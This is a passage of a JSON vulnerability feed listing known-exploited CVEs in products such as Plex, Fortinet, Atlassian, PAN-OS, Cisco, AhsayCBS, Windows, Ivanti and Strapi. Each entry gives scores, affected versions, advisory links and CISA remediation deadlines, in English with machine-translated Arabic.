CVE-2026-96656."},"refs":[["https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-96652","advisory"],["https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json","advisory"],["https://zmain.info/blog/plex2shell","advisory"],["https://forums.plex.tv/t/plex-media-server/30447/711","ref"],["https://www.cve.org/CVERecord?id=CVE-2026-96652","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96652","ref"]],"epss":0.1189,"kevAdded":"2026-10-20T00:00:00Z","kevDue":"2026-11-03T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان بناءً على المخاطر ومتطلبات التحليل الجنائي من CISA. اتبع إرشادات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"plex-media-server"},{"id":"CVE-2026-102764","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-290","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-16T00:00:00Z","product":"BeyondTrust Remote Support","affected":[["0 – 26.2.3",null]],"title":{"en":"BeyondTrust Remote Support Authentication Bypass by Spoofing Vulnerability","ar":"ثغرة تجاوز المصادقة عبر انتحال الهوية في BeyondTrust Remote Support"},"summary":{"en":"BeyondTrust Remote Support contains an authentication bypass by spoofing vulnerability that could allow a remote attacker to perform file operations on the appliance.","ar":"يحتوي BeyondTrust Remote Support على ثغرة تجاوز المصادقة عبر انتحال الهوية والتي قد تسمح لمهاجم عن بُعد تنفيذ عمليات ملفات على الجهاز."},"refs":[["https://www.beyondtrust.com/trust-center/security-advisories/bt26-05","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-102764","advisory"],["https://www.beyondtrust.com/blog/entry/bt26-05","ref"],["https://beyondtrustcorp.service-now.com/csm?id=csm_kb_article&sysparm_article=KB0024066","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102764","ref"]],"epss":0.1895,"kevAdded":"2026-10-16T00:00:00Z","kevDue":"2026-10-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"beyondtrust-remote-support"},{"id":"CVE-2025-61624","cvss":5.4,"vector":null,"cwe":"CWE-22","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-16T00:00:00Z","product":"Fortinet Multiple Products","affected":[["7.6.0 – 7.6.4",null],["7.4.0 – 7.4.9",null],["7.2.0 – 7.2.13",null],["7.0.0 – 7.0.19",null],["6.4.0 – 6.4.16",null],["7.4.0 – 7.4.11",null],["7.2.0 – 7.2.16",null],["7.0.0 – 7.0.23",null],["7.2.0 – 7.2.7",null],["7.0.0 – 7.0.6",null],["1.7.0",null],["1.6.0 – 1.6.2",null]],"title":{"en":"Fortinet Multiple Products Path Traversal Vulnerability","ar":"ثغرة اجتياز المسار في منتجات Fortinet المتعددة"},"summary":{"en":"FortiOS, FortiPAM, FortiProxy, and FortiSwitchManager contain a path traversal vulnerability that may allow an authenticated attacker with admin profile and at least read-write permissions to write or delete arbitrary files via specific CLI commands.","ar":"تحتوي كل من FortiOS و FortiPAM و FortiProxy و FortiSwitchManager على ثغرة اجتياز المسار قد تسمح لمهاجم مصادق عليه يملك ملف تعريف مسؤول وصلاحيات قراءة وكتابة على الأقل بكتابة أو حذف ملفات عشوائية عبر أوامر CLI محددة."},"refs":[["https://fortiguard.fortinet.com/psirt/FG-IR-26-122","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-61624","advisory"],["https://unit42.paloaltonetworks.com/fortimanager-cve-2024-47575-peerstitch-malware/#post-188095-_guyq53ar8k05","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-61624","ref"],["https://cert-portal.siemens.com/productcert/html/ssa-975644.html","ref"]],"epss":0.0134,"kevAdded":"2026-10-16T00:00:00Z","kevDue":"2026-10-19T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA في الوثيقة BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر، ومتطلبات فرز الأدلة الجنائية الخاصة بوكالة CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على عاتق الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الواردة في BOD 26-04.","machineTranslated":true,"productSlug":"fortinet-multiple-products"},{"id":"CVE-2026-21589","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H","cwe":"CWE-552","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-15T00:00:00Z","product":"Atlassian Multiple Products","affected":[],"title":{"en":"Atlassian Multiple Products Files or Directories Accessible to External Parties Vulnerability","ar":"ثغرة إمكانية وصول الأطراف الخارجية إلى ملفات أو مجلدات في منتجات Atlassian المتعددة"},"summary":{"en":"Multiple Atlassian products (Bitbucket Data Center ,Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible and Fisheye) contain a files or directories accessible to external parties vulnerability which could allow an unauthenticated attacker to access specific files within the web application root directory in affected versions.","ar":"تحتوي منتجات Atlassian المتعددة (Bitbucket Data Center، Confluence Data Center، Jira Service Management Data Center، Jira Software Data Center، Bamboo Data Center، Crowd Data Center، Crucible و Fisheye) على ثغرة تمكن الأطراف الخارجية من الوصول إلى ملفات أو مجلدات، والتي قد تسمح لمهاجم غير مصدق له بالوصول إلى ملفات محددة داخل الدليل الجذر لتطبيق الويب في الإصدارات المتأثرة."},"refs":[["https://confluence.atlassian.com/security/cve-2026-21589-arbitrary-file-access-vulnerability-impacts-multiple-products-1870495748.html?ref=labs.watchtowr.com","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-21589","advisory"],["https://jira.atlassian.com/browse/BAM-26567","ref"],["https://jira.atlassian.com/browse/BSERV-20604","ref"],["https://jira.atlassian.com/browse/CONFSERVER-104488","ref"],["https://jira.atlassian.com/browse/CRUC-8741","ref"],["https://jira.atlassian.com/browse/CWD-6610","ref"],["https://jira.atlassian.com/browse/FE-7583","ref"],["https://jira.atlassian.com/browse/JRASERVER-79546","ref"],["https://jira.atlassian.com/browse/JSDSERVER-16809","ref"]],"epss":0.9948,"kevAdded":"2026-10-15T00:00:00Z","kevDue":"2026-10-18T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"atlassian-multiple-products"},{"id":"CVE-2026-0322","cvss":8.6,"vector":null,"cwe":"CWE-94","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-14T17:26:52Z","product":"Palo Alto Networks PAN-OS","affected":[["12.2.0 – <12.2.4","12.2.4"],["12.1.0 – <12.1.10-h2","12.1.10-h2"],["11.2.0 – <11.2.16","11.2.16"],["11.1.0 – <11.1.16-h3","11.1.16-h3"],["10.2.0 – <10.2.18-h12","10.2.18-h12"]],"title":{"en":"Palo Alto Networks PAN-OS Code Injection Vulnerability","ar":"ثغرة حقن الأوامر في Palo Alto Networks PAN-OS"},"summary":{"en":"Palo Alto Networks PAN-OS contains a code injection vulnerability that could allow an authenticated attacker with network access to execute arbitrary code with root privileges on the firewall.","ar":"يحتوي Palo Alto Networks PAN-OS على ثغرة حقن الأوامر التي قد تسمح لمهاجم مصدق له ولديه إمكانية الوصول إلى الشبكة بتنفيذ تعليمات برمجية عشوائية بصلاحيات الجذر على جدار الحماية."},"refs":[["https://security.paloaltonetworks.com/CVE-2026-0322","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-0322","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-0322","ref"]],"epss":0.0174,"kevAdded":"2026-10-14T00:00:00Z","kevDue":"2026-10-17T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"palo-alto-networks-pan-os"},{"id":"CVE-2026-76519","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-23","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-14T16:07:51Z","product":"Cisco Secure Email Gateway","affected":[["14.0.0-698",null],["13.5.1-277",null],["13.0.0-392",null],["14.2.0-620",null],["13.0.5-007",null],["13.5.4-038",null],["14.2.1-020",null],["14.3.0-032",null],["15.0.0-104",null],["15.0.1-030",null],["15.5.0-048",null],["15.5.1-055",null]],"title":{"en":"Cisco Secure Email Gateway Relative Path Traversal Vulnerability","ar":"ثغرة اجتياز المسار النسبي في Cisco Secure Email Gateway"},"summary":{"en":"Cisco Secure Email Gateway contains a relative path traversal vulnerability that could allow an unauthenticated, remote attacker to write arbitrary files on the underlying operating system.","ar":"يحتوي Cisco Secure Email Gateway على ثغرة اجتياز المسار النسبي والتي قد تسمح لمهاجم عن بُعد غير مصدق له كتابة ملفات عشوائية على نظام التشغيل الأساسي."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-afw-zqYJkjxp","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-76519","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-76519","ref"]],"epss":0.0215,"kevAdded":"2026-10-14T00:00:00Z","kevDue":"2026-10-17T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"cisco-secure-email-gateway"},{"id":"CVE-2026-105134","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-10-14T00:00:00Z","product":"Ahsay AhsayCBS","affected":[["9.15.2.0",null],["9.15.2.1",null],["9.15.2.2",null],["9.15.2.3",null],["9.15.2.4",null],["9.15.2.5",null],["9.15.2.6",null],["9.15.2.7",null],["9.15.2.8",null],["9.15.2.9",null],["9.15.2.10",null],["9.15.2.11",null]],"title":{"en":"Ahsay AhsayCBS Command Injection Vulnerability","ar":"ثغرة حقن الأوامر في Ahsay AhsayCBS"},"summary":{"en":"Ahsay AhsayCBS contains a command injection vulnerability that could allow a remote attacker to execute operating system commands via manipulation of the random parameter in the Replication Receiver component’s /rps/api/json/UpdateReceivers.do endpoint. This vulnerability can be chained with CVE-2026-105133.","ar":"يحتوي منتج Ahsay AhsayCBS على ثغرة حقن أوامر والتي قد تسمح لمهاجم عن بُعد بتنفيذ أوامر نظام التشغيل عبر التلاعب بالمعلمة random في نقطة النهاية /rps/api/json/UpdateReceivers.do الخاصة بمكون Replication Receiver. يمكن دمج هذه الثغرة مع CVE-2026-105133."},"refs":[["https://www.ahsay.com/en/company/announcements/patch-cve-105133-105134-update","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-105134","advisory"],["https://vuldb.com/cve/CVE-2026-105134","advisory"],["https://vuldb.com/submit/942743","advisory"],["https://vuldb.com/vuln/413351","ref"],["https://vuldb.com/vuln/413351/cti","ref"],["https://www.huntress.com/blog/ahsaycbs-flaws-exploit","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-105134","ref"]],"epss":0.8176,"kevAdded":"2026-10-14T00:00:00Z","kevDue":"2026-10-17T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"ahsay-ahsaycbs"},{"id":"CVE-2026-105133","cvss":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:A","cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-14T00:00:00Z","product":"Ahsay AhsayCBS","affected":[["9.15.2.0",null],["9.15.2.1",null],["9.15.2.2",null],["9.15.2.3",null],["9.15.2.4",null],["9.15.2.5",null],["9.15.2.6",null],["9.15.2.7",null],["9.15.2.8",null],["9.15.2.9",null],["9.15.2.10",null],["9.15.2.11",null]],"title":{"en":"Ahsay AhsayCBS Improper Authentication Vulnerability","ar":"ثغرة مصادقة غير سليمة في Ahsay AhsayCBS"},"summary":{"en":"Ahsay AhsayCBS contains an improper authentication vulnerability that could allow a remote attacker to bypass authentication via manipulation of the random parameter in the API component’s checkSysPwd function. This vulnerability can be chained with CVE-2026-105134.","ar":"يحتوي منتج Ahsay AhsayCBS على ثغرة مصادقة غير سليمة والتي قد تسمح لمهاجم عن بُعد بتجاوز المصادقة عبر التلاعب بالمعلمة random في دالة checkSysPwd الخاصة بمكون API. يمكن دمج هذه الثغرة مع CVE-2026-105134."},"refs":[["https://www.ahsay.com/en/company/announcements/patch-cve-105133-105134-update","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-105133","advisory"],["https://vuldb.com/cve/CVE-2026-105133","advisory"],["https://vuldb.com/submit/942688","advisory"],["https://vuldb.com/vuln/413350","ref"],["https://vuldb.com/vuln/413350/cti","ref"],["https://www.huntress.com/blog/ahsaycbs-flaws-exploit","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-105133","ref"]],"epss":0.7947,"kevAdded":"2026-10-14T00:00:00Z","kevDue":"2026-10-17T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"ahsay-ahsaycbs"},{"id":"CVE-2026-96951","cvss":8.8,"vector":null,"cwe":"CWE-77","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-13T19:01:26Z","product":"Microsoft Windows","affected":[["1.0.0.0 – <154.0.4258.62","154.0.4258.62"],["1.0.0 – <20260925.100","20260925.100"],["10.0.14393.0 – <10.0.14393.9612","10.0.14393.9612"],["10.0.17763.0 – <10.0.17763.9376","10.0.17763.9376"],["10.0.19044.0 – <10.0.19044.7807","10.0.19044.7807"],["10.0.19045.0 – <10.0.19045.7807","10.0.19045.7807"],["10.0.22631.0 – <10.0.22631.7652","10.0.22631.7652"],["10.0.26100.0 – <10.0.26100.9711","10.0.26100.9711"],["10.0.26200.0 – <10.0.26200.9711","10.0.26200.9711"],["10.0.28000.0 – <10.0.28000.3231","10.0.28000.3231"],["10.0.26300.0 – <10.0.26300.9711","10.0.26300.9711"],["6.3.9600.0 – <6.3.9600.23470","6.3.9600.23470"]],"title":{"en":"Microsoft Windows Command Injection Vulnerability","ar":"ثغرة حقن الأوامر في Microsoft Windows"},"summary":{"en":"Microsoft Windows Shell contains a command injection vulnerability that allows an unauthorized attacker to bypass a security feature over a network.","ar":"يحتوي صدفة Microsoft Windows على ثغرة حقن أوامر تسمح للمهاجم غير المصرح له بتجاوز ميزة أمان عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96951","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-96951","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-96951","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96951","ref"]],"epss":0.0981,"kevAdded":"2026-10-13T00:00:00Z","kevDue":"2026-10-16T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-windows"},{"id":"CVE-2026-104935","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L","cwe":"CWE-290","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-13T15:31:07Z","product":"Ivanti Connect Secure","affected":[],"title":{"en":"Ivanti Connect Secure Authentication Bypass by Spoofing Vulnerability","ar":"ثغرة تجاوز المصادقة من خلال التخفي في Ivanti Connect Secure"},"summary":{"en":"Ivanti Connect Secure contains an authentication bypass by spoofing vulnerability that allows a remote unauthenticated attacker to execute arbitrary commands.","ar":"يحتوي منتج Ivanti Connect Secure على ثغرة تجاوز المصادقة من خلال التخفي والتي تسمح لمهاجم عن بُعد غير مصدق له بتنفيذ أوامر تعسفية."},"refs":[["https://nvd.nist.gov/vuln/detail/CVE-2026-104935","advisory"],["https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-104935","ref"]],"epss":0.8894,"kevAdded":"2026-10-13T00:00:00Z","kevDue":"2026-10-16T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"ivanti-connect-secure"},{"id":"CVE-2023-22894","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-312","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-08T00:00:00Z","product":"Strapi Strapi","affected":[],"title":{"en":"Strapi Cleartext Storage of Sensitive Information Vulnerability","ar":"ثغرة التخزين بالنص الصريح للمعلومات الحساسة في Strapi"},"summary":{"en":"Strapi contains a cleartext storage of sensitive information vulnerability that could allow attackers with access to the admin panel to discover sensitive user details via the query filter. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. This vulnerability can be chained with CVE-2023-22621 to achieve remote code execution.","ar":"يحتوي Strapi على ثغرة تخزين بالنص الصريح للمعلومات الحساسة والتي قد تسمح للمهاجمين الذين يملكون حق الوصول إلى لوحة المسؤول باكتشاف تفاصيل المستخدم الحساسة عبر عامل تصفية الاستعلام. قد تكون المنتجات المتأثرة قد وصلت إلى نهاية عمرها الافتراضي (EoL) أو نهاية خدمتها (EoS). يُنصح المستخدمون بوقف الاستخدام و/أو الانتقال إلى إصدار مدعوم. يمكن دمج هذه الثغرة مع CVE-2023-22621 لتحقيق تنفيذ أوامر عن بُعد."},"refs":[["https://strapi.io/blog/security-disclosure-of-vulnerabilities-cve","advisory"],["https://github.com/strapi/strapi/releases","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2023-22894","advisory"],["https://www.ghostccamm.com/blog/multi_strapi_vulns/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-22894","ref"]],"epss":0.0411,"kevAdded":"2026-10-08T00:00:00Z","kevDue":"2026-10-11T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 